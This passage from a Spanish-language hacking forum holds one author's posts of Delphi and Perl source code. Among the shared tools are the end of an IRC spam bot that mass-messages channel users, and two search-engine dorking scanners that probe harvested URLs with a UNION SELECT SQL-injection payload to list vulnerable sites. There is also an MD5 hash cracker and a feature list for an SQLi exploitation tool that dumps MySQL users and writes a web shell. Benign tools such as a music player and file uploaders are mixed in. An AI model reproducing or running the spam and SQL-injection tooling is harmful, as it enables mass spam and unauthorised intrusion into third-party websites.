    procedure IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
      AHost, ANicknameTo, AMessage: string);
    procedure sButton3Click(Sender: TObject);
    procedure IdIRC1NicknamesListReceived(ASender: TIdContext;
      const AChannel: string; ANicknameList: TStrings);
    procedure sButton2Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
      const AMessage: string);
    procedure IdIRC1Disconnected(Sender: TObject);
    procedure IdIRC1Connected(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'tv-b';
  sSkinManager1.Active := True;

end;

procedure TForm1.IdIRC1Connected(Sender: TObject);
begin
  sStatusBar1.Panels[0].text := '[+] Connected ...';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.IdIRC1Disconnected(Sender: TObject);
begin
  sStatusBar1.Panels[0].text := '[+] Stopped';
  Form1.sStatusBar1.Update;
end;

procedure TForm1.IdIRC1NicknamesListReceived
  (ASender: TIdContext; const AChannel: string; ANicknameList: TStrings);
var
  i: integer;
  i2: integer;
  renicks: string;
  listanow: TStringList;
  arraynow: array of String;

begin

  sListBox2.Clear;

  for i := 0 to ANicknameList.Count - 1 do
  begin

    PerlRegEx1.Regex := '(.*) = ' + sEdit3.text + ' :(.*)';
    PerlRegEx1.Subject := ANicknameList[i];

    if PerlRegEx1.Match then
    begin
      renicks := PerlRegEx1.SubExpressions[2];

      renicks := StringReplace(renicks, sEdit4.text, '', []);

      listanow := TStringList.Create;
      listanow.Delimiter := ' ';
      listanow.DelimitedText := renicks;

      for i2 := 0 to listanow.Count - 1 do
      begin
        sListBox2.Items.Add(listanow[i2]);
      end;

    end;

  end;

end;

procedure TForm1.IdIRC1PrivateMessage(ASender: TIdContext; const ANicknameFrom,
  AHost, ANicknameTo, AMessage: string);
begin
  sMemo1.Lines.Add(ANicknameFrom + ' : ' + AMessage);
end;

procedure TForm1.IdIRC1Raw(ASender: TIdContext; AIn: Boolean;
  const AMessage: string);
begin
  sMemo2.Lines.Add(AMessage);
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin

  sListBox2.Items.Clear;
  sMemo2.Lines.Clear;
  sMemo1.Lines.Clear;

  IdIRC1.Host := sEdit1.text;
  IdIRC1.Port := StrToInt(sEdit2.text);
  IdIRC1.Nickname := sEdit4.text;
  IdIRC1.Username := sEdit4.text + ' 1 1 1 1';
  IdIRC1.AltNickname := sEdit4.text + '-123';

  try

    IdIRC1.Connect;
    IdIRC1.Join(sEdit3.text);

    Timer1.Interval := StrToInt(sEdit6.text) * 1000;
    Timer1.Enabled := True;

  except
    sStatusBar1.Panels[0].text := '[-] Error';
    Form1.sStatusBar1.Update;
  end;

end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  sListBox1.Items.Add(sEdit5.text);
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  sStatusBar1.Panels[0].text := '[-] Stopped';
  Form1.sStatusBar1.Update;
  IdIRC1.Disconnect();
  Abort;

end;

procedure TForm1.Timer1Timer(Sender: TObject);
var
  i: integer;
begin

  sStatusBar1.Panels[0].text := '[+] Spamming ...';
  Form1.sStatusBar1.Update;

  for i := 0 to sListBox2.Count - 1 do
  begin

    IdIRC1.Say(sListBox2.Items[i], sListBox1.Items[Random(sListBox1.Count - 1)
        + 0]);

  end;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#190
Delphi / [Delphi] GoogleSearch 0.1
Junio 07, 2013, 01:27:39 PM
Un simple programa para buscar paginas vulnerables a SQLI usando Google.

Una imagen :



El codigo  :

Código: delphi

// Google Search 0.1
// Coded By Doddy H

unit goo;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sSkinManager, IdURI, sMemo, PerlRegEx,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, jpeg,
  ExtCtrls, sEdit, sLabel, sGroupBox, sListBox, ComCtrls, sStatusBar, ShellApi,
  IdContext, IdCmdTCPClient;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    PerlRegEx2: TPerlRegEx;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sGroupBox2: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox3: TsGroupBox;
    sGroupBox4: TsGroupBox;
    sListBox2: TsListBox;
    sStatusBar1: TsStatusBar;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    PerlRegEx3: TPerlRegEx;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure sListBox1DblClick(Sender: TObject);
    procedure sListBox2DblClick(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure sButton2Click(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Writeln(ar, texto);
  CloseFile(ar);

end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'falloutstyle';
  sSkinManager1.Active := True;

  dir := ExtractFilePath(Application.ExeName) + '/logs';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  code: string;
  link1: string;
  link2: string;
  linkfinal: string;
  z: integer;
  i: integer;
  ii: integer;
  target: string;
  linkfinalfinal: string;
  chau: TStringList;

begin

  target := StringReplace(sEdit1.text, ' ', '+', []);

  sListBox1.Items.Clear;

  for i := 1 to StrToInt(sEdit2.text) do
  begin
    ii := i * 10;

    sStatusBar1.Panels[0].text := '[+] Searching in page : ' + IntToStr(ii);
    Form1.sStatusBar1.Update;

    code := IdHTTP1.Get('http://www.google.com/search?hl=&q=' + target +
        '&start=' + IntToStr(ii));

    PerlRegEx1.Regex := '(?<="r"><. href=")(.+?)"';
    PerlRegEx1.Subject := code;

    while PerlRegEx1.MatchAgain do
    begin
      for z := 1 to PerlRegEx1.SubExpressionCount do

        link1 := PerlRegEx1.SubExpressions[z];

      PerlRegEx2.Regex := '\/url\?q\=(.*?)\&amp\;';
      PerlRegEx2.Subject := link1;

      if PerlRegEx2.Match then
      begin
        link2 := PerlRegEx2.SubExpressions[1];
        linkfinal := TIdURI.URLDecode(link2);
        sListBox1.Update;

        PerlRegEx3.Regex := '(.*?)=(.*?)';

        PerlRegEx3.Subject := linkfinal;

        if PerlRegEx3.Match then
        begin
          linkfinalfinal := PerlRegEx3.SubExpressions[1] + '=';
          sListBox1.Items.Add(linkfinalfinal);
        end;

      end;
    end;
  end;

  chau := TStringList.Create;

  chau.Duplicates := dupIgnore;
  chau.Sorted := True;
  chau.Assign(sListBox1.Items);
  sListBox1.Items.Clear;
  sListBox1.Items.Assign(chau);

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin
    savefile('google-search.txt', sListBox1.Items[i]);
  end;

  sStatusBar1.Panels[0].text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  i: integer;
  code: string;

begin

  sListBox2.Items.Clear;

  sStatusBar1.Panels[0].text := '[+] Loading ...';
  Form1.sStatusBar1.Update;

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin
    try
      begin

        sStatusBar1.Panels[0].text := '[+] Scanning : ' + sListBox1.Items[i];
        Form1.sStatusBar1.Update;
        sListBox2.Update;

        code := IdHTTP1.Get(sListBox1.Items[i] + '-1+union+select+1--');

        PerlRegEx1.Regex :=
          'The used SELECT statements have a different number of columns';
        PerlRegEx1.Subject := code;

        if PerlRegEx1.Match then
        begin
          sListBox2.Items.Add(sListBox1.Items[i]);
          savefile('sqli-founds.txt', sListBox1.Items[i]);
        end;

      end;
    except
      on E: EIdHttpProtocolException do
        ;
      on E: Exception do
        ;
    end;

    sStatusBar1.Panels[0].text := '[+] Done';
    Form1.sStatusBar1.Update;

  end;

end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'google-search.txt', nil, nil, SW_SHOWNORMAL);
end;

procedure TForm1.sListBox2DblClick(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'sqli-founds.txt', nil, nil, SW_SHOWNORMAL);
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#191
Delphi / [Delphi] BingHack Tool 0.1
Mayo 31, 2013, 03:53:33 PM
Traduccion a delphi de este programa para buscar paginas vulnerables a SQLI usando bing.

Una imagen :



El codigo :

Código: delphi

// BingHackTool 0.1
// Coded By Doddy H

unit bing;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sButton, sMemo, sSkinManager, PerlRegEx, IdBaseComponent,
  IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, sEdit, sLabel, sGroupBox,
  sListBox, ComCtrls, sStatusBar, ShellApi, jpeg, ExtCtrls;

type
  TForm1 = class(TForm)
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    sSkinManager1: TsSkinManager;
    PerlRegEx2: TPerlRegEx;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sLabel2: TsLabel;
    sEdit2: TsEdit;
    sGroupBox2: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox3: TsGroupBox;
    sListBox2: TsListBox;
    sStatusBar1: TsStatusBar;
    sGroupBox4: TsGroupBox;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    sButton4: TsButton;
    Image1: TImage;
    procedure sButton1Click(Sender: TObject);
    procedure sButton4Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure sButton2Click(Sender: TObject);
    procedure sListBox1DblClick(Sender: TObject);
    procedure sListBox2DblClick(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure savefile(filename, texto: string);
var
  ar: TextFile;

begin

  AssignFile(ar, filename);
  FileMode := fmOpenWrite;

  if FileExists(filename) then
    Append(ar)
  else
    Rewrite(ar);

  Writeln(ar, texto);
  CloseFile(ar);

end;

procedure TForm1.FormCreate(Sender: TObject);
var
  dir: string;
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'falloutstyle';
  sSkinManager1.Active := True;

  dir := ExtractFilePath(Application.ExeName) + '/logs';

  if not(DirectoryExists(dir)) then
  begin
    CreateDir(dir);
  end;

  ChDir(dir);

end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  code: string;
  link1: string;
  linkfinal: string;
  z: integer;
  i: integer;
  ii: integer;
  chau: TStringList;
  target: string;

begin

  sListBox1.Items.Clear;

  target := StringReplace(sEdit1.text, ' ', '+', []);

  sStatusBar1.Panels[0].text := '[+] Loading ...';
  Form1.sStatusBar1.Update;

  for i := 1 to StrToInt(sEdit2.text) do
  begin
    ii := i * 10;
    sListBox1.Update;
    sStatusBar1.Panels[0].text := '[+] Searching in page : ' + IntToStr(ii);
    Form1.sStatusBar1.Update;

    code := IdHTTP1.Get('http://www.bing.com/search?q=' + target + '&first=' +
        IntToStr(ii));

    PerlRegEx1.Regex := '<h3><a href="(.*?)"';
    PerlRegEx1.Subject := code;

    while PerlRegEx1.MatchAgain do
    begin
      for z := 1 to PerlRegEx1.SubExpressionCount do
        link1 := PerlRegEx1.SubExpressions[z];

      PerlRegEx2.Regex := '(.*?)=(.*?)';
      PerlRegEx2.Subject := link1;

      if PerlRegEx2.Match then
      begin
        linkfinal := PerlRegEx2.SubExpressions[1] + '=';
        sListBox1.Items.Add(linkfinal);
      end;
    end;
  end;

  chau := TStringList.Create;

  chau.Duplicates := dupIgnore;
  chau.Sorted := True;
  chau.Assign(sListBox1.Items);
  sListBox1.Items.Clear;
  sListBox1.Items.Assign(chau);

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin
    savefile('bing-search.txt', sListBox1.Items[i]);
  end;

  sStatusBar1.Panels[0].text := '[+] Done';
  Form1.sStatusBar1.Update;

end;

procedure TForm1.sButton2Click(Sender: TObject);
var
  i: integer;
  code: string;

begin

  sListBox2.Items.Clear;

  sStatusBar1.Panels[0].text := '[+] Loading ...';
  Form1.sStatusBar1.Update;

  for i := sListBox1.Items.Count - 1 downto 0 do
  begin
    try
      begin

        sStatusBar1.Panels[0].text := '[+] Scanning : ' + sListBox1.Items[i];
        Form1.sStatusBar1.Update;
        sListBox2.Update;
        code := IdHTTP1.Get(sListBox1.Items[i] + '-1+union+select+1--');

        PerlRegEx1.Regex :=
          'The used SELECT statements have a different number of columns';
        PerlRegEx1.Subject := code;

        if PerlRegEx1.Match then
        begin
          sListBox2.Items.Add(sListBox1.Items[i]);
          savefile('sqli-founds.txt', sListBox1.Items[i]);
        end;

      end;
    except
      on E: EIdHttpProtocolException do
        ;
      on E: Exception do
        ;
    end;

    sStatusBar1.Panels[0].text := '[+] Done';
    Form1.sStatusBar1.Update;

  end;

end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton4Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'bing-search.txt', nil, nil, SW_SHOWNORMAL);
end;

procedure TForm1.sListBox2DblClick(Sender: TObject);
begin
  ShellExecute(Handle, 'open', 'sqli-founds.txt', nil, nil, SW_SHOWNORMAL);
end;

end.

// The End ?


Si quieren bajar el programa pueden hacerlo de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#192
Delphi / [Delphi] K0bra 1.0
Mayo 25, 2013, 09:15:22 PM
Traduccion a Delphi de este programa para scannear paginas vulnerables a SQLI.

Con las siguiente opciones :

  • Comprobar vulnerabilidad
  • Buscar numero de columnas
  • Buscar automaticamente el numero para mostrar datos
  • Mostras tablas
  • Mostrar columnas
  • Mostrar bases de datos
  • Mostrar tablas de otra DB
  • Mostrar columnas de una tabla de otra DB
  • Mostrar usuarios de mysql.user
  • Buscar archivos usando load_file
  • Mostrar un archivo usando load_file
  • Mostrar valores
  • Mostrar informacion sobre la DB
  • Crear una shell usando outfile
  • Todo se guarda en logs ordenados

    Unas imagenes :











    Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.
#193
Delphi / [Delphi] MD5 Cracker 0.1
Mayo 19, 2013, 10:58:22 PM
Un simple programa para crackear un hash MD5 hecho en Delphi.

Una imagen :



El codigo :

Código: delphi

// MD5 Cracker 0.1
// Coded By Doddy H
// Based on the services :
// http://md5.hashcracking.com/
// http://md5.rednoize.com
// http://md52.altervista.org

unit md5;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, sSkinManager, StdCtrls, sButton, sEdit, sGroupBox, jpeg, ExtCtrls,
  ComCtrls, sStatusBar, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP, PerlRegEx;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    Image1: TImage;
    sGroupBox1: TsGroupBox;
    sEdit1: TsEdit;
    sGroupBox2: TsGroupBox;
    sEdit2: TsEdit;
    sGroupBox3: TsGroupBox;
    sStatusBar1: TsStatusBar;
    Crack: TsButton;
    sButton1: TsButton;
    sButton2: TsButton;
    sButton3: TsButton;
    IdHTTP1: TIdHTTP;
    PerlRegEx1: TPerlRegEx;
    procedure sButton2Click(Sender: TObject);
    procedure sButton3Click(Sender: TObject);
    procedure CrackClick(Sender: TObject);
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.CrackClick(Sender: TObject);
var
  rta: string;

begin

  sStatusBar1.Panels[0].text := '[+] Searching in md5.hashcracking.com ...';
  Form1.sStatusBar1.Update;

  rta := IdHTTP1.Get
    ('http://md5.hashcracking.com/search.php?md5=' + sEdit1.text);

  PerlRegEx1.Regex := 'Cleartext of (.*) is (.*)';
  PerlRegEx1.Subject := rta;
  if PerlRegEx1.Match then
  begin
    sEdit2.text := PerlRegEx1.SubExpressions[2];
    sStatusBar1.Panels[0].text := '[+] Done';
    Form1.sStatusBar1.Update;
  end
  else
  begin

    sStatusBar1.Panels[0].text := '[+] Searching in md5.rednoize.com ...';
    Form1.sStatusBar1.Update;

    rta := IdHTTP1.Get('http://md5.rednoize.com/?q=' + sEdit1.text);

    PerlRegEx1.Regex := '<div id=\"result\" >(.*)<\/div>';
    PerlRegEx1.Subject := rta;
    if PerlRegEx1.Match then

    begin

      if not(Length(PerlRegEx1.SubExpressions[1]) = 32) then
      begin
        sEdit2.text := PerlRegEx1.SubExpressions[1];
        sStatusBar1.Panels[0].text := '[+] Done';
        Form1.sStatusBar1.Update;
      end
      else

      begin

        sStatusBar1.Panels[0].text :=
          '[+] Searching in md52.altervista.org ...';
        Form1.sStatusBar1.Update;

        rta := IdHTTP1.Get
          ('http://md52.altervista.org/index.php?md5=' + sEdit1.text);

        PerlRegEx1.Regex :=
          '<br>Password: <font color=\"Red\">(.*)<\/font><\/b>';
        PerlRegEx1.Subject := rta;

        if PerlRegEx1.Match then
        begin
          sEdit2.text := PerlRegEx1.SubExpressions[1];
          sStatusBar1.Panels[0].text := '[+] Done';
          Form1.sStatusBar1.Update;

        end
        else
        begin
          sEdit2.text := '';
          sStatusBar1.Panels[0].text := '[-] Not Found';
          Form1.sStatusBar1.Update;
        end;
      end;

    end;
  end;

end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'neonnight';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin
  sEdit2.SelectAll;
  sEdit2.CopyToClipboard;
end;

procedure TForm1.sButton2Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.sButton3Click(Sender: TObject);
begin
  Form1.Close();
end;

end.

// The End ?


Si quieren bajar el programa lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

#194
Perl / [Perl] VirusTotal Scanner 0.1
Mayo 16, 2013, 02:21:35 PM
Un simple script para scannear un archivo mediante el API de virustotal , la idea se me ocurrio cuando vi este script en python hecho por Sanko del foro You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Una imagen :



Código: perl

#!usr/bin/perl
#VirusTotal Scanner 0.1
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/JSON.ppd
#ppm install http://trouchelle.com/ppm/Digest-MD5-File.ppd
#ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd
#ppm install http://trouchelle.com/ppm/Color-Output.ppd

use JSON;
use Digest::MD5::File qw(file_md5_hex);
use LWP::UserAgent;
use Color::Output;
Color::Output::Init;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

my $api_key = "yourapi"
  ;    #Your API Key

head();

unless ( $ARGV[0] ) {
    printear( "[+] Sintax : $0 <file to scan>", "text", "11", "5" );

    copyright();
    exit(1);
}
else {

    unless ( -f $ARGV[0] ) {
        printear( "\n[-] File Not Found\n", "text", "5", "5" );
        copyright();
    }

    my $md5 = file_md5_hex( $ARGV[0] );

    printear( "\n[+] Checking ...\n", "text", "7", "5" );

    my $code = tomar(
        "https://www.virustotal.com/vtapi/v2/file/report",
        { "resource" => $md5, "apikey" => $api_key }
    );

    if ( $code =~ /"response_code": 0/ ) {
        printear( "\n[+] Not Found\n", "text", "7", "5" );
        exit(1);
    }

    my $dividir = decode_json $code;

    printear( "[+] Getting data ...\n", "text", "7", "5" );

    printear( "[+] Scan ID : " . $dividir->{scan_id},     "text", "13", "5" );
    printear( "[+] Scan Date : " . $dividir->{scan_date}, "text", "13", "5" );
    printear( "[+] Permalink : " . $dividir->{permalink}, "text", "13", "5" );
    printear(
        "[+] Virus Founds : " . $dividir->{positives} . "/" . $dividir->{total},
        "text", "13", "5"
    );

    printear( "\n[+] Getting list ...\n", "text", "7", "5" );

    my %abrir = %{ $dividir->{scans} };

    for my $antivirus ( keys %abrir ) {

        if ( $abrir{$antivirus}{"result"} eq "" ) {
            printear( "[+] " . $antivirus . " : Clean", "text", "11", "5" );
        }
        else {
            printear(
                "[+] " . $antivirus . " : " . $abrir{$antivirus}{"result"},
                "text", "5", "5" );
        }
    }

    printear( "\n[+] Finished\n", "text", "7", "5" );
    copyright();

}

sub head {
    printear( "\n-- == VirusTotal Scanner 0.1 == --\n", "text", "13", "5" );
}

sub copyright {
    printear( "\n[+] Written By Doddy H", "text", "13", "5" );
    exit(1);
}

sub printear {
    if ( $_[1] eq "text" ) {
        cprint( "\x03" . $_[2] . $_[0] . "\x030\n" );
    }
    elsif ( $_[1] eq "stdin" ) {
        if ( $_[3] ne "" ) {
            cprint( "\x03" . $_[2] . $_[0] . "\x030" . "\x03" . $_[3] );
            my $op = <stdin>;
            chomp $op;
            cprint("\x030");
            return $op;
        }
    }
    else {
        print "error\n";
    }
}

sub tomar {
    my ( $web, $var ) = @_;
    return $nave->post( $web, [ %{$var} ] )->content;
}

#The End ?
#195
Perl / [Perl] Imageshack Uploader 0.1
Mayo 14, 2013, 03:11:38 PM
Un simple script para subir imagenes a Imageshack.

El codigo :

Código: perl

#!usr/bin/perl
#Imageshack Uploader 0.1
#Coded By Doddy H
#ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

head();

unless ( $ARGV[0] ) {
    print "\n[+] Sintax : $0 <image>\n";
}
else {

    my $your_key = "YOURKEY";    #Your API Key

    print "\n[+] Uploading ...\n";

    my $code = $nave->post(
        "https://post.imageshack.us/upload_api.php",
        Content_Type => "form-data",
        Content      => [
            key        => $your_key,
            fileupload => [ $ARGV[0] ],
            format     => "json"
        ]
    )->content;

    if ( $code =~ /"image_link":"(.*?)"/ ) {
        print "\n[+] Link : " . $1 . "\n";
    }
    else {
        print "\n[-] Error\n";
    }
}

copyright();

sub head {
    print "\n-- == Imageshack Uploader 0.1 == --\n";
}

sub copyright {
    print "\n[+] Written By Doddy H\n";
}

#The End ?
#196
Perl / [Perl] AnonFiles Uploader
Mayo 13, 2013, 07:13:19 PM
Traduccion a Perl del programa hecho por $DoC llamado You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login hecho para subir archivos a la pagina AnonFiles.

Código: perl

#!usr/bin/perl
#AnonFiles Uploader
#Original author: $ DoC
#Translations made by Doddy H
#
#ppm install http://www.bribes.org/perl/ppm/Crypt-SSLeay.ppd
#

use LWP::UserAgent;

my $nave = LWP::UserAgent->new;
$nave->agent(
"Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12"
);
$nave->timeout(5);

unless ( $ARGV[0] ) {
    print "\n[+] Sintax : $0 <file>\n";
}
else {

    print "\n[+] Uploading ...\n";

    my $code = $nave->post(
        "https://anonfiles.com/api?plain",
        Content_Type => "form-data",
        Content      => [ file => [ $ARGV[0] ] ]
    )->content;

    if ( $code =~ /https:\/\/anonfiles\.com\/file\// ) {
        print "\n[+] Link : " . $code . "\n";
    }
    else {
        print "\n[-] Error\n";
    }

}

#The End ?

#197
Delphi / [Delphi] DH Player 0.1
Mayo 13, 2013, 06:36:05 PM
Un simple reproductor de musica que hice basado en este You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login.

Una imagen :



El codigo :

Código: delphi

// DH Player 0.1
// Coded By Doddy H
// Based on this article : http://delphi.about.com/od/multimedia/l/aa112800a.htm

unit mp3player;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, Menus, StdCtrls, sListBox, sSkinManager, MPlayer, sGroupBox, jpeg,
  ExtCtrls, ComCtrls, acProgressBar, Buttons, FileCtrl, sEdit;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox2: TsGroupBox;
    MediaPlayer1: TMediaPlayer;
    Image1: TImage;
    sGroupBox3: TsGroupBox;
    sProgressBar1: TsProgressBar;
    PopupMenu1: TPopupMenu;
    L1: TMenuItem;
    R1: TMenuItem;
    A1: TMenuItem;
    E1: TMenuItem;
    Directory: TsGroupBox;
    sEdit1: TsEdit;
    Timer1: TTimer;
    procedure A1Click(Sender: TObject);
    procedure E1Click(Sender: TObject);
    procedure R1Click(Sender: TObject);
    procedure L1Click(Sender: TObject);
    procedure Timer1Timer(Sender: TObject);
    procedure sListBox1DblClick(Sender: TObject);
    procedure FormCreate(Sender: TObject);

  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.A1Click(Sender: TObject);
begin
  ShowMessage('Contact to lepuke[at]hotmail[com]');
end;

procedure TForm1.E1Click(Sender: TObject);
begin
  Form1.Close();
end;

procedure TForm1.FormCreate(Sender: TObject);
begin
  sProgressBar1.Max := 0;
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'fm';
  sSkinManager1.Active := True;
end;

procedure TForm1.L1Click(Sender: TObject);
var
  dir: string;
  search: TSearchRec;
  cantidad: Integer;

begin

  SelectDirectory('Select a folder', '', dir);

  sListBox1.Clear;

  sEdit1.Text := dir;
  cantidad := FindFirst(dir + '/' + '*.*', faAnyFile, search);

  while cantidad = 0 do
  begin
    if FileExists(dir + '/' + search.name) then
    begin
      sListBox1.Items.Add(search.name);
    end;
    cantidad := FindNext(search);
  end;
  FindClose(search);

end;

procedure TForm1.R1Click(Sender: TObject);
begin
  sEdit1.Text := '';
  sProgressBar1.Max := 0;
  sListBox1.Clear;
end;

procedure TForm1.sListBox1DblClick(Sender: TObject);
begin

  sProgressBar1.Max := 0;

  MediaPlayer1.Close;
  MediaPlayer1.FileName := sEdit1.Text + '/' + sListBox1.Items.Strings
    [sListBox1.ItemIndex];
  MediaPlayer1.Open;

  sProgressBar1.Max := MediaPlayer1.Length;
end;

procedure TForm1.Timer1Timer(Sender: TObject);
begin
  if sProgressBar1.Max <> 0 then
    sProgressBar1.Position := MediaPlayer1.Position;
end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de You are not allowed to view links. You are not allowed to view links. Register or Login or You are not allowed to view links. Register or Login
#198
Delphi / [Delphi] GetWhois 0.1
Mayo 05, 2013, 01:32:59 PM
Siempre habia querido hacer un programa para hacer un whois en delphi pero en ese entonces no conocia delphi lo suficiente como para poder hacerlo , hoy me tome unos 10 min libres y logre hacer uno , para hacerlo instale indy y escribi unas pocas lineas para hacerlo.

Una imagen :



El codigo (muy corto xD)

Código: delphi

// GetWhois 0.1
// Coded By Doddy H in the year 2013

unit whois;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, sMemo, sButton, sEdit, sLabel, sGroupBox, sSkinManager,
  IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdWhois, ComCtrls,
  sStatusBar, jpeg, ExtCtrls;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sEdit1: TsEdit;
    sButton1: TsButton;
    sGroupBox2: TsGroupBox;
    sMemo1: TsMemo;
    IdWhois1: TIdWhois;
    sStatusBar1: TsStatusBar;
    Image1: TImage;
    procedure sButton1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.FormCreate(Sender: TObject);
begin
  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'garnet';
  sSkinManager1.Active := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
begin

  if sEdit1.text = '' then
  begin
